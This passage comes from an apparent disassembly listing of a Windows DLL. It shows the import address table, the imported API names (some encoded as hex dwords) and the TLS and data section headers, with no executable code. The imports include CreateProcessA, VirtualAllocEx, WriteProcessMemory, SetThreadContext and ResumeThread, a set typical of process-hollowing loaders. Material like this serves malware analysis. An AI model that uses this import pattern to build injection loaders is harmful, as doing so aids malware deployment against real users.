sub_10001140r dword_1000B0D8 dd 77E77CC4h ; DATA XREF: sub_10001138r dword_1000B0DC dd 77E79924h ; DATA XREF: sub_10001128r dword_1000B0E0 dd 77E74672h ; DATA XREF: sub_10001108r dword_1000B0E4 dd 77E73BEFh ; DATA XREF: sub_10001100r dword_1000B0E8 dd 77E805B8h ; DATA XREF: sub_100010F0r dword_1000B0EC dd 77E77F21h ; DATA XREF: sub_100010E8r dword_1000B0F0 dd 77E6177Ah ; DATA XREF: sub_100010E0r dword_1000B0F4 dd 77E7A5FDh ; DATA XREF: sub_100010D8r dword_1000B0F8 dd 77E79F93h ; DATA XREF: sub_100010D0r dword_1000B0FC dd 77E7A099h ; DATA XREF: sub_100010C8r dword_1000B100 dd 77E7513Ch ; DATA XREF: sub_100010C0r dword_1000B104 dd 77E7C938h ; DATA XREF: sub_100010B8r dword_1000B108 dd 77E80618h ; DATA XREF: sub_100010B0r dword_1000B10C dd 77E75D9Eh ; DATA XREF: sub_100010A8r dword_1000B110 dd 77E78EAAh ; DATA XREF: sub_100010A0r dword_1000B114 dd 77E75CB5h ; DATA XREF: sub_10001090r dword_1000B118 dd 77E79D8Ch ; DATA XREF: sub_10001080r dword_1000B11C dd 77EB9A84h ; DATA XREF: sub_10001078r dword_1000B120 dd 77F6183Eh ; DATA XREF: sub_10001070r dword_1000B124 dd 77E6D706h ; DATA XREF: sub_10001068r dword_1000B128 dd 77E79C3Dh ; DATA XREF: sub_10001060r align 10h dword_1000B130 dd 77D6E1D6h ; DATA XREF: sub_10002B28r dword_1000B134 dd 77D47250h ; DATA XREF: sub_100010F8r dword_1000B138 dd 77D6ADD7h ; DATA XREF: sub_10001098r dword_1000B13C dd 77D472ECh ; DATA XREF: sub_10001088r dd 0 dword_1000B144 dd 77DD23D7h ; DATA XREF: sub_10001120r dword_1000B148 dd 77DD22EAh ; DATA XREF: sub_10001118r dword_1000B14C dd 77DD189Ah ; DATA XREF: sub_10001110r dd 0 dword_1000B154 dd 771214E8h ; DATA XREF: sub_10001130r dd 0 dword_1000B15C dd 77E79B39h ; DATA XREF: sub_10004400r dword_1000B160 dd 77E78B61h ; DATA XREF: sub_100043F8r dword_1000B164 dd 77E79881h ; DATA XREF: sub_100043F0r dword_1000B168 dd 77E79F93h ; DATA XREF: sub_100043E8r align 10h dword_1000B170 dd 77E61A90h ; DATA XREF: sub_10004660r dword_1000B174 dd 77E79D8Ch ; DATA XREF: sub_10004658r dword_1000B178 dd 77E7F044h ; DATA XREF: sub_10004650r dword_1000B17C dd 77E79824h ; DATA XREF: sub_10004648r dword_1000B180 dd 77E7980Ah ; DATA XREF: sub_10004640r dword_1000B184 dd 77E7105Fh ; DATA XREF: sub_10004638r dword_1000B188 dd 77EB9953h ; DATA XREF: sub_10004630r dword_1000B18C dd 77E6E154h ; DATA XREF: sub_10004628r dword_1000B190 dd 77E61A54h ; DATA XREF: sub_10004620r dword_1000B194 dd 77E78B82h ; DATA XREF: sub_10004618r dword_1000B198 dd 77E7C931h ; DATA XREF: sub_10004610r dword_1000B19C dd 77E760B5h ; DATA XREF: sub_10004608r dword_1000B1A0 dd 77E7C657h ; DATA XREF: sub_10004600r dword_1000B1A4 dd 77E77F21h ; DATA XREF: sub_100045F8r dword_1000B1A8 dd 77E97F16h ; DATA XREF: sub_100045F0r dword_1000B1AC dd 77E6AD34h ; DATA XREF: sub_100045E8r dword_1000B1B0 dd 77E98D20h ; DATA XREF: sub_100045E0r dword_1000B1B4 dd 77E79C3Dh ; DATA XREF: sub_100045D8r dword_1000B1B8 dd 77E7A5FDh ; DATA XREF: sub_100045D0r dword_1000B1BC dd 77E79F93h ; DATA XREF: sub_100045C8r dword_1000B1C0 dd 77E7A099h ; DATA XREF: sub_100045C0r dword_1000B1C4 dd 77E7513Ch ; DATA XREF: sub_100045B8r dword_1000B1C8 dd 77E793EFh ; DATA XREF: sub_100045B0r dword_1000B1CC dd 77E6869Bh ; DATA XREF: sub_100045A8r dword_1000B1D0 dd 77E7C938h ; DATA XREF: sub_100045A0r dword_1000B1D4 dd 77E7849Fh ; DATA XREF: sub_10004598r dword_1000B1D8 dd 77E7A13Fh ; DATA XREF: sub_10004590r dword_1000B1DC dd 77E80618h ; DATA XREF: sub_10004588r dword_1000B1E0 dd 77E6CA8Ah ; DATA XREF: sub_10004580r dword_1000B1E4 dd 77EC9262h ; DATA XREF: sub_10004578r dword_1000B1E8 dd 77E61BB8h ; DATA XREF: sub_10004570r dword_1000B1EC dd 77E7A837h ; DATA XREF: sub_10004568r dword_1000B1F0 dd 77E77963h ; DATA XREF: sub_10004560r align 8 dword_1000B1F8 dd 77D6ADD7h ; DATA XREF: sub_10004688r dword_1000B1FC dd 77D47250h ; DATA XREF: sub_10004680r dword_1000B200 dd 77D477C0h ; DATA XREF: sub_10004678r dword_1000B204 dd 77D472ECh ; DATA XREF: sub_10004668r dword_1000B208 dd 77D44D61h ; DATA XREF: sub_10004670r align 10h dword_1000B210 dd 77FA44C8h ; DATA XREF: sub_100046D8r align 8 aKernel32_dll db 'kernel32.dll',0 align 4 aDeletecritical db 'DeleteCriticalSection',0 align 10h aLeavecriticals db 'LeaveCriticalSection',0 align 4 aEntercriticals db 'EnterCriticalSection',0 align 10h aInitializecrit db 'InitializeCriticalSection',0 align 4 aVirtualfree db 'VirtualFree',0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0 aGetversion db 'GetVersion',0 align 10h dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h dd 0 aWidechartomult db 'WideCharToMultiByte',0 dd 736C0000h, 656C7274h, 416Eh, 736C0000h, 70637274h, 416E79h dd 6F4C0000h, 694C6461h, 72617262h, 41784579h, 0 aGetthreadlocal db 'GetThreadLocale',0 dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 50746547h dd 41636F72h, 65726464h, 7373h, 65470000h, 646F4D74h, 48656C75h dd 6C646E61h, 4165h, 65470000h, 646F4D74h, 46656C75h, 4E656C69h dd 41656D61h, 0 aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 65657246h dd 7262694Ch, 797261h, 69460000h, 6946646Eh, 46747372h dd 41656C69h, 0 aFindclose db 'FindClose',0 align 4 aExitprocess db 'ExitProcess',0 dd 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 74520000h dd 776E556Ch, 646E69h, 61520000h, 45657369h, 70656378h dd 6E6F6974h, 0 aGetstdhandle db 'GetStdHandle',0 align 2 aUser32_dll db 'user32.dll',0 align 4 aGetkeyboardtyp db 'GetKeyboardType',0 dd 6F4C0000h, 74536461h, 676E6972h, 41h, 7373654Dh, 42656761h dd 41786Fh, 68430000h, 654E7261h, 417478h, 61766461h, 32336970h dd 6C6C642Eh, 0 aRegqueryvaluee db 'RegQueryValueExA',0 align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 align 4 aRegclosekey db 'RegCloseKey',0 aOleaut32_dll db 'oleaut32.dll',0 align 10h aSysfreestring db 'SysFreeString',0 aKernel32_dll_0 db 'kernel32.dll',0 align 4 dd 6C540000h, 74655373h, 756C6156h, 65h, 47736C54h, 61567465h dd 65756Ch, 6F4C0000h, 416C6163h, 636F6C6Ch, 0 aGetmodulehandl db 'GetModuleHandleA',0 align 2 aKernel32_dll_1 db 'kernel32.dll',0 align 4 dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh dd 0 aWritefile db 'WriteFile',0 align 4 aVirtualquery db 'VirtualQuery',0 align 4 aVirtualallocex db 'VirtualAllocEx',0 align 4 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69530000h, 666F657Ah dd 6F736552h, 65637275h, 0 aSetthreadconte db 'SetThreadContext',0 align 4 aResumethread db 'ResumeThread',0 align 4 aReadprocessmem db 'ReadProcessMemory',0 align 4 aReadfile db 'ReadFile',0 align 4 aLockresource db 'LockResource',0 align 4 aLoadresource db 'LoadResource',0 align 4 aGetversionexa db 'GetVersionExA',0 align 4 aGetthreadloc_0 db 'GetThreadLocale',0 dd 65470000h, 72685474h, 43646165h, 65746E6Fh, 7478h, 65470000h dd 6D655474h, 74615070h, 4168h, 65470000h, 72745374h, 54676E69h dd 45657079h, 4178h, 65470000h, 64745374h, 646E6148h, 656Ch dd 65470000h, 6F725074h, 64644163h, 73736572h, 0 aGetmodulehan_0 db 'GetModuleHandleA',0 align 4 aGetmodulefilen db 'GetModuleFileNameA',0 align 4 dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetfilesize db 'GetFileSize',0 db 0 align 2 aGetdiskfrees_0 db 'GetDiskFreeSpaceA',0 dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 43746547h dd 666E4950h, 6Fh, 41746547h, 5043h, 72460000h, 694C6565h dd 72617262h, 79h, 646E6946h, 6F736552h, 65637275h, 41h aEnumcalendarin db 'EnumCalendarInfoA',0 align 4 aCreateprocessa db 'CreateProcessA',0 align 4 dd 72430000h, 65746165h, 656C6946h, 41h, 736F6C43h, 6E614865h dd 656C64h, 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h dd 786F4265h, 41h, 64616F4Ch, 69727453h, 41676Eh, 65470000h dd 73795374h, 4D6D6574h, 69727465h, 7363h, 68430000h, 654E7261h dd 417478h, 68430000h, 6F547261h, 416D654Fh, 746E0000h dd 2E6C6C64h, 6C6C64h, 74520000h, 6365446Ch, 72706D6Fh dd 42737365h, 65666675h db 72h, 0 _idata ends ; Section 5. (virtual address 0000C000) ; Virtual size : 00000008 ( 8.) ; Section size in file : 00000008 ( 8.) ; Offset to raw data for section: 0000C000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 1000C000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 2 dup(0) ; DATA XREF: .rdata:TlsDirectoryo _tls ends ; Section 6. (virtual address 0000D000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 0000D000 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 1000D000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd 1000C008h TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 _rdata ends ; Section 9. (virtual address 00016000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00016000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 10016000h dd 80h dup(0) align 1000h _idata2 ends end start